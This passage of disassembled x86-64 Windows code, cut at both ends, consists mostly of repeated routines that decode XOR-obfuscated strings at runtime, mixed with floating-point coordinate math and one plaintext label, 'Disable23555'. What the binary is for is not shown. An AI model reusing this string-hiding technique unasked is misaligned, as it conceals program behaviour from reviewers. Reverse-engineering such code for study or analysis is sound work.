imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x1400635c0
mov rdx, qword [rbp - 0x80]
mov rcx, r10
call fcn.140035550
test al, al
je 0x140063611
cmp dword [0x1401f6ddc], 0
jne 0x140063611
mov byte [0x1401c233c], 1
movaps xmm1, xmm12
movaps xmm0, xmm9
call fcn.140016af0
lea rcx, [rbp + 0x3c8]
call fcn.140016f20
movss xmm6, dword [rax]
mulss xmm6, xmm8
call fcn.140004810
movaps xmm2, xmm11
lea rcx, [rbp + 0x3d0]
subss xmm6, dword [rax + 8]
addss xmm6, xmm10
movaps xmm1, xmm6
call fcn.140001850
lea rdx, [rbp - 0x18]
mov qword [rbp - 0x80], rax
lea rcx, [rbp - 0x55]
mov byte [rbp - 0x55], 0
call fcn.1400694c0
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x140063801
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400637c7
movdqa xmm0, xmmword [str.4444444444444444]
mov rcx, rax
movdqa xmm5, xmmword [0x14017aa10]
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x1400636c0
cmp r8d, 0x16
jge 0x140063801
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x1400637d0
mov rdx, qword [rbp - 0x80]
mov rcx, r10
call fcn.140035550
test al, al
je 0x140063b80
lea rdx, [rbp + 0x8dc]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.1400696b0
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x1400639c1
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140063981
movdqa xmm0, xmmword [str.4444444444444444]
xor edx, edx
movdqa xmm5, xmmword [0x14017aa10]
mov rcx, rax
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov r8d, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x10
jl 0x140063880
jmp 0x1400639c1
mov r9, r10
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x140063990
mov rcx, r10
call fcn.140056010
lea rdx, [rbp + 0x8ec]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.1400696b0
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x140063b71
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140063b31
movdqa xmm0, xmmword [str.4444444444444444]
xor edx, edx
movdqa xmm5, xmmword [0x14017aa10]
mov rcx, rax
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov r8d, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x10
jl 0x140063a30
jmp 0x140063b71
mov r9, r10
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x140063b40
mov rdx, r10
lea rcx, [0x1401c02a0]
call fcn.1400462d0
call fcn.14000c990
call fcn.1400170d0
mov eax, dword [0x1401f6de8]
cmp eax, 1
jne 0x140065c1f
call fcn.140016f80
lea rcx, [rbp + 0x3d8]
call fcn.140016f20
lea rcx, [rbp + 0x3e0]
movss xmm7, dword [rax + 4]
subss xmm7, dword [0x14017a828]
subss xmm7, xmm15
call fcn.140016f20
movss xmm6, dword [rax]
mulss xmm6, xmm8
call fcn.140004810
movaps xmm2, xmm7
lea rcx, [rbp + 0x3e8]
movss xmm0, dword [rax + 0x4c]
mulss xmm0, xmm8
subss xmm6, xmm0
subss xmm6, dword [0x14017a860]
movaps xmm1, xmm6
call fcn.140001850
lea rdx, [rbp + 0x3f0]
mov qword [rbp - 0x80], rax
lea rcx, [rbp - 0x54]
mov byte [rbp - 0x54], 0
call fcn.1400696c0
mov rcx, rax
cmp byte [rax + 7], 0
je 0x140063d61
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140063d26
movdqa xmm2, xmmword [0x14017aa10]
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14017aa30]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
jmp 0x140063d61
mov r9, rcx
xor r8d, r8d
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140063d30
mov rdx, qword [rbp - 0x80]
xor r9d, r9d
xor r8d, r8d
call fcn.14000c880
lea rdx, [rbp + 0x831]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.1400696d0
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x140063ee1
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140063ea1
movdqa xmm2, xmmword [0x14017aa10]
mov r8d, 8
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14017aa30]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140063eb0
lea rdx, [rbp + 0x8fc]
mov qword [rbp + 0x1e8], r10
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x60], 0
call fcn.140069700
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x140064091
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140064051
movdqa xmm0, xmmword [str.4444444444444444]
xor edx, edx
movdqa xmm5, xmmword [0x14017aa10]
mov rcx, rax
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov r8d, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x10
jl 0x140063f50
jmp 0x140064091
mov r9, r10
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x140064060
lea rdx, [rbp + 0x83e]
mov qword [rbp + 0x1f0], r10
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x60], 0
call fcn.140069710
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x140064201
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400641c9
movdqa xmm2, xmmword [0x14017aa10]
mov r8d, 8
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14017aa30]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1400641d0
mov r9d, 2
mov dword [rsp + 0x20], 5
lea r8, [rbp + 0x1e8]
mov rcx, r10
lea rdx, [0x1401f6dc0]
call fcn.140039240
call fcn.1400381a0
lea rcx, [rbp + 0x3f8]
call fcn.140016f20
movss xmm6, dword [rax]
mulss xmm6, xmm8
call fcn.140004810
movaps xmm2, xmm11
lea rcx, [rbp + 0x400]
subss xmm6, dword [rax + 8]
addss xmm6, xmm10
movaps xmm1, xmm6
call fcn.140001850
lea rdx, [rbp + 0x84b]
mov qword [rbp - 0x80], rax
lea rcx, [rbp - 0x53]
mov byte [rbp - 0x53], 0
call fcn.140069740
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x1400643d1
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140064394
movdqa xmm2, xmmword [0x14017aa10]
mov r8d, 8
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14017aa30]
movdqa xmm0, xmm2
mov eax, dword [str.4444444444444444]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14017aa40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1400643a0
mov rdx, qword [rbp - 0x80]
mov rcx, r10
call fcn.140035550
test al, al
je 0x1400643ff
mov eax, dword [0x1401f6dc0]
test eax, eax
jne 0x1400643f4
mov byte [0x1401e249a], 1
jmp 0x1400643ff
cmp eax, 1
jne 0x1400643ff
mov byte [0x1401c127f], al
movaps xmm1, xmm12
movaps xmm0, xmm9
call fcn.140016af0
lea rcx, [rbp + 0x408]
call fcn.140016f20
movss xmm6, dword [rax]
mulss xmm6, xmm8
call fcn.140004810
movaps xmm2, xmm11
lea rcx, [rbp + 0x410]
subss xmm6, dword [rax + 8]
addss xmm6, xmm10
movaps xmm1, xmm6
call fcn.140001850
mov rdx, rax
lea rcx, str.Disable23555
call fcn.140035550
test al, al
je 0x1400647c0
lea rdx, [rbp + 0x91c]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.1400696b0
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x140064601
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400645c1
movdqa xmm0, xmmword [str.4444444444444444]
xor edx, edx
movdqa xmm5, xmmword [0x14017aa10]
mov rcx, rax
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov r8d, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x10
jl 0x1400644c0
jmp 0x140064601
mov r9, r10
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x1400645d0
mov rcx, r10
call fcn.140056010
lea rdx, [rbp + 0x90c]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.1400696b0
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x1400647b1
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140064771
movdqa xmm0, xmmword [str.4444444444444444]
xor edx, edx
movdqa xmm5, xmmword [0x14017aa10]
mov rcx, rax
movdqa xmm4, xmmword [0x14017abe0]
movdqa xmm6, xmmword [0x14017aa40]
movdqa xmmword [rsp + 0x70], xmm0
mov r8d, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14017aa90]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x10
jl 0x140064670
jmp 0x1400647b1
mov r9, r10
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x140064780
mov rdx, r10
lea rcx, [0x1401c02a0]
call fcn.1400462d0
call fcn.14000c990
call fcn.1400170d0
movaps xmm1, xmm12
movaps xmm0, xmm9
call fcn.140016af0
call fcn.140016f80
movss xmm0, dword [0x14017a870]
call fcn.140016c00
lea rcx, [rbp + 0x418]
call fcn.140016f20
movss xmm7, dword [rax + 4]
mulss xmm7, xmm8
addss xmm7, dword [0x14017a880]
call fcn.140004810
lea rcx, [rbp + 0x420]
movss xmm0, dword [rax + 0x50]
mulss xmm0, xmm8
subss xmm7, xmm0
subss xmm7, dword [0x14017a808]
call fcn.140016f20
movss xmm6, dword [rax]
mulss xmm6, xmm8
call fcn.140004810
movaps xmm2, xmm7
lea rcx, [rbp + 0x428]
movss xmm0, dword [rax + 0x4c]
mulss xmm0, xmm8
subss xmm6, xmm0
subss xmm6, dword [0x14017a85c]
movaps xmm1, xmm6
call fcn.140001850
lea rdx, [rbp + 0x6cb]
mov qword [rbp - 0x80], rax
lea rcx, [rbp - 0x52]
mov byte [rbp - 0x52], 0
call fcn.140069770
movzx ecx, byte [rax + 8]
test cl, cl
je 0x1400648a9
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor cl, 0x3c
mov byte [rax + 8], cl
mov rdx, qword [rbp - 0x80]
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
call fcn.14000c880
lea rdx, [rbp + 0x865]
